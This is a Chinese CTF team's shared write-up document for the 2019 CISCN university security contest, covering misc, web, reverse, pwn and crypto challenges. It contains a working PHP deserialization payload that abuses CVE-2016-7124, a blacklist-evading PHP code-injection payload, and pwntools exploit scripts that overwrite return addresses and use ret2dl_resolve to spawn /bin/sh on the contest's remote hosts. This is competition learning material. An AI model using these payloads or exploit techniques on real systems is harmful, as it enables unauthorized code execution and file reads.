---
tags: ctf
---
# 全国大学生信息安全竞赛
- 第十二届
:::success
**URL**: https://race.ichunqiu.com/topic/2019dxs
:::
## 关于本文档
:::warning
使用本文档来促进线上的队员和在比赛基地的队员之间的合作,并记录整个比赛的过程。添加新题目请严格套用段落格式 `Chall_name | Working、Stuck、Done | Working:YourName`
:::
## 如何使用本文档
:::danger
在你决定解一道题之前,请**一定查看这道题当前的状态**,并且**把你的名字加入Working列表**
* 如果你卡在某一到题上了,请及时更新这道题的状态
* 题目状态:
* **OPEN** - 有人正在试图解这道题。如果你正在做,请把名字写在 Working 后面。
* **STUCK** - 卡住了。**如果你卡住了,请在下面留下当前进展和相关信息**,还有你的名字(这样后来者就能联系你了)。当你决定放弃这道题时,请把名字从 working 后面移除。
* **DONE** - 解决了!鼓掌撒花!
* **请勿将key直接贴在本文档中**
* **重中之重:请及时更新每道题的状态!**
:::
---
[TOC]
---
# Misc
## day1-24c
使用saleae打开后加入 I2C Analyzer, 观察到类似于
```
write 32 "f163bdf4e}"
write 0 "flag{c46d 10-e9b5-4d90-a883-41c"
write 9 "ac"
```
的内容
猜测上述"32","0","9"为位置, 经验证为24c02 chip写数据的方法
得以构造出最终flag
flag{c46dac10-e9b5-4d90-a883-41cf163bdf4e}
## day1-saleae
使用saleae打开后,加入 SPI Analyzer, 将第0通道设为clock

即可在MISO/MISI上看到flag

flag{12071397-19d1-48e6-be8c-784b89a95e07}
# Web
## day1-JustSoso
"题目": {
"index.php": "https://pastebin.com/qznxn2bX",
"hint.php": "https://pastebin.com/f0uCB51W"
}
GET参数中含有file, LFI获得index.php源码, 根据其内容继续获得hint.php源码
发现含有unserialize函数, 联系hint.php内容, 考察点为反序列化
有三处需要绕过:
**1**
parse_url 三斜杠绕过, 常规
**2**
需要调用class Flag::getFlag()才能进行下一步操作, 所以必定反序列化class Handle
正常情况下unserialize一个Handle会调用`function __wakeup`, 也就是说会将所有的成员置零
找到了[CVE-2016-7124](https://bugs.php.net/bug.php?id=72663)可以跳过执行__wakeup
修改序列化后Handle的属性个数即可
**3**
需要保证token与token_flag一致, 变量皆可控
每次调用`getFlag` `token_flag`都会随机变化, 所以只能通过控制`token`来绕过
可以将`token`赋值为`token_flag` 的引用绕过
`$flaginst->token = &$flaginst->token_flag;`

用于生成payload代码:
```php
<?php
class Flag{}
class Handle{
private $handle;
function __construct($xx){
$this->handle = $xx;
}
}
$p = new Flag("flag.php");
$p->token = &$p->token_flag;
$p->file = "flag.php";
$pay = new Handle($p);
echo urlencode(serialize($pay));
```
最终payload:
`url///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3BN%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D`
flag{65d7e10c-88c9-40ef-b8ca-babe3bd2a2b5}(比赛后重新下发)
## day2-love the math
进入主页任意输入内容发现请求发往calc.php, 直接访问即可获得源码
"题目": {
"calc.php": "https://pastebin.com/wJ6L6fZk"
}
观察发现如下限制:
payload长度不可超过80
可以执行任何**数学函数**
有部分字符不可用( `$blacklist` )
基本思路:
由于80这个长度太短, 所以后期应当是通过取其它位置的可控输入点进行执行和输出
应当取能够返回字符串的数学函数, 加以拼接得到期望值
题目过滤了所有除数学函数名意外的英文字符, 所以应当利用纯数字构造payload
观察数学函数的输入输出, 发现涉及到不同进制的数学函数能够返回字符串。
其中利用base_convert能获取更大的字符集, 但也更长
base_convert(number,frombase,tobase)

可以将字符串转为10进制或其它能够组成纯数字的进制来控制输入
验证: url:/calc.php?c=base_convert(55490343972,10,36)()
可以执行phpinfo
首先尝试利用getallheaders获取头部信息进行执行, 但后来发现头部信息不可控

只能放弃利用getallheaders
由于system等函数需要传入单双引号, 所以应当考虑直接在php中读文件

base_convert(371235972282,10,28)->readfile
考虑到进制转换只能转出小写字母, 此处利用php能将字符串互相异或的行为, 能够将多个16进制串进行异或得到大写字母。
于是得到目的: 将两个`[a-z0-9]*`字符串异或得到_GET,利用_GET{param}获取到另一参数中填入的文件名(即flag.php)进行读取
进行fuzz, fuzz代码:
```php
$table = "0123456789abcdefghijklmnopqrstuvwxyz";
for($i = 0; $i < 36; $i++){
for($j = $i; $j < 36; $j++){
echo $table[$i]^$table[$j];
echo " ";
echo $table[$i]." ".$table[$j];
echo "\n";
}
}
```
```bash
php test.php| strings | grep "_"
php test.php| strings | grep "G"
php test.php| strings | grep "E"
php test.php| strings | grep "T"
```
得到`"1000"^"nwud" == "_GET"`
所以能够构造出payload:
`base_convert(371235972282,28,10)(${decoct(512)^base_convert(862402,10,33)}{12})`
其中"12"是为了凑79(((躺
```python
payload = "base_convert(371235972282,28,10)(${decoct(512)^base_convert(862402,10,33)}{12})"
request.get('url/calc.php',params={
'c': payload,
'12': 'flag.php'
})
```
flag{623a0211-2e86-48ad-b48a-388f67ad32bf}
# Reverse
## day1-easyGo
Go语言的题目,安装Go语言插件 https://github.com/sibears/IDAGolangHelper
- 在IDA的file->script file中导入py脚本。
- 然后选择Go语言版本,并选择自动重命名变量。
简单分析核心函数
```
fmt_Fscanf(
a1,
a2,
(__int64)&addr_0x4e2880,
(__int64)&v31,
v4,
v5,
(__int64)&addr_0x4e2880,
bss_qword_572B10,
(__int64)aS0125Cccfcocsl,
2LL);
if ( *(__int128 **)(v27 + 8) == &v31
&& (runtime_memequal(
a1,
a2,
(__int64)v26,
*(_QWORD *)v27,
v17,
v18,
v26,
*(const __m128i **)v27,
(unsigned __int64)&v31,
1),
v19) )
{
*(_QWORD *)&v29 = &string_autogen_L44YLG;
*((_QWORD *)&v29 + 1) = &off_4E1140;
result = fmt_Fprintln(a1, a2, (__int64)v16, (__int64)&off_4E28A0, v17, v18, (__int64)&off_4E28A0, qword_572B18);
}
else
{
*(_QWORD *)&v28 = &string_autogen_L44YLG;
*((_QWORD *)&v28 + 1) = &off_4E1150;
result = fmt_Fprintln(a1, a2, (__int64)v16, (__int64)&off_4E28A0, v17, v18, (__int64)&off_4E28A0, qword_572B18);
}
```
- 可以得知程序中的`runtime_memequal`存在明文比对,我们尝试dump相关内存,由于go语言很多都依靠各种寄存器来记录地址,从Fscanf后单步调试。
- gdb调试,`b* 0x495277`下断点,单步跟踪。

# Pwn
## day1-your_pwn
任意地址读写,最简单的方式,先读main函数返回地址,通过偏移算出one_gadget地址,复写后三个字节即可
```python
from pwn import *
p = process("./pwn")
#p.recvuntil("name:")
#p.remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com",57856)
p = remote ("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com" ,57856)
p.send("sadmess")
def leak(a):
p.recvuntil("index\n")
p.sendline(str(a))
content=p.recvuntil("\n")[-3:-1]
p.sendline(str(int(content,16)))
return content
def write(a,b):
p.recvuntil("index\n")
p.sendline(str(a))
content=p.recvuntil("\n")[-3:-1]
p.sendline(str(int(b,16)))
main_offset1=leak(632)
main_offset2=leak(633)
main_offset3=leak(634)
print main_offset1
print main_offset2
print main_offset3
a=int(main_offset1,16)+int(main_offset2,16)*256+int(main_offset3,16)*256*256
a=a+0xf1147-0x20830
a=hex(a)
print a[2:4]
write(632,a[6:8])
write(633,a[4:6])
write(634,a[2:4])
i=0
while i<70:
p.sendline("0")
i+=1
p.interactive()
```
flag{caaa53afc1bbf5cda29539576d51264a}
## day2-baby_pwn
ret2_dl_runtime_resolve
适于一些比较简单的栈溢出的情况,但同时又难以泄露获取更多信息的情况下。
此题恰好符合
```python
#!/usr/bin/python
#coding:utf-8
from pwn import *
import roputils
elf = ELF('pwn')
offset = 0x2C
rop = roputils.ROP('./pwn')
ppp_ret = 0x080485d9 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x080485db
leave_ret = 0x08048448 # ROPgadget --binary bof --only "leave|ret"
stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com' ,33865)
payload = 'A' * offset
payload += rop.call('read', 0, base_stage, 100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret)
p.sendline(payload)
cmd = "/bin/sh"
payload2 = 'AAAA'
payload2 += rop.dl_resolve_call(base_stage+20, base_stage+80) #调用dl_resolve_call,第二个为调用函数的参数
payload2 += rop.dl_resolve_data(base_stage+20, 'system') #在bss段伪造Elf32_Rel 和 Elf32_Sym
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.send(payload2)
p.interactive()
```
flag{0967c80006c113aee8c7c3cb321ae19e}
# Crypto
## puzzles
- Q0
在线求解方程即可

解得a1a2a3a4为fa6bed9c7a00
- Q1
发现三个为素数,每隔37个取一个,从素数表查得为0x1924dd7
- Q2
计算可得(1+91+7+1)*77 = 0x1E14
- Q3
物理公式E=ΔΦ/Δt代入得0x48d0
- Q4
高数作业本题目,https://www.ppkao.com/shiti/6665215/
得到0x9d80
拼合得到flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}